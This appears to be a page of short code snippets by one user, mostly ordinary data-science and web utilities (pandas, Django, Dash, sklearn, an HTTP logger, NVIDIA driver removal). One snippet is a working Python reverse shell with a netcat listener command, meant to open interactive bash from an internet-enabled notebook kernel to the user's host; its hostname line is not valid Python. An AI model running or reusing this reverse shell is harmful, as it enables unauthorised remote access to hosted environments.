eherrerosj

#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):

eherrerosj

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eherrerosj

# The following class would correspond to a Django ViewSet. Nevertheless, you can use any Django framework of your
#  choice or not even a framework at all.
# What I wanted to share with the world is how to convert an existint tree-like SQL table to JSON format, which
#  is way friendlier with our front-end friends.

from django.db import connection
from rest_framework import viewsets
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response

eherrerosj

def reduce_mem_usage(df, verbose=True):
    numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']
    start_mem = df.memory_usage().sum() / 1024**2    
    for col in df.columns:
        col_type = df[col].dtypes
        if col_type in numerics:
            c_min = df[col].min()
            c_max = df[col].max()
            if str(col_type)[:3] == 'int':
                if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:

eherrerosj

# Option 1: Pandas
import pandas as pd
def apply_pipeline(df, categorical_columns, numerical_columns):
    '''
    One Hot Encoding to categorical_columns
    Fill missing values tonumerical_columns
    '''
    for cat_col in categorical_columns:
        df = pd.concat([df, pd.get_dummies(df[cat_col], prefix=cat_col)],axis=1)
        df.drop([cat_col],axis=1, inplace=True)

eherrerosj

# On host run `nc -nvlp [PORT]`
# Then run this snippet in an internet-enabled kernel, and you will get interactive bash inside the kernel, on the host machine.
hostname = 0.0.0.0 # Hostname/IP of your server
port = 1337 # Port must be open

open('shell.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'.format(hostname, port)
import subprocess
subprocess.Popen(["python", "shell.py"])

eherrerosj

import dash
import dash_core_components as dcc
import dash_html_components as html
import pandas as pd
import plotly.graph_objs as go
from dash.dependencies import Input, Output


app = dash.Dash()

eherrerosj

from sklearn.tree import _tree

def tree_to_code(tree, feature_names):
    tree_ = tree.tree_
    feature_name = [
        feature_names[i] if i != _tree.TREE_UNDEFINED else "undefined!"
        for i in tree_.feature
    ]
    print ("def tree({}):".format(", ".join(feature_names)))

eherrerosj

### Nvidia installation reference: https://gist.github.com/wangruohui/df039f0dc434d6486f5d4d098aa52d07#install-nvidia-graphics-driver-via-apt-get


sudo apt-get purge nvidia*

# Note this might remove your cuda installation as well
sudo apt-get autoremove 

# Recommended if .deb files from NVIDIA were installed
# Change 1404 to the exact system version or use tab autocompletion

eherrerosj

import numpy as np, pandas as pd
import glob, re

dfs = { re.search('/([^/\.]*)\.csv', fn).group(1):pd.read_csv(fn) for fn in glob.glob('../input/*.csv')}
print('data frames read:{}'.format(list(dfs.keys())))

print('local variables with the same names are created.')
for k, v in dfs.items(): locals()[k] = v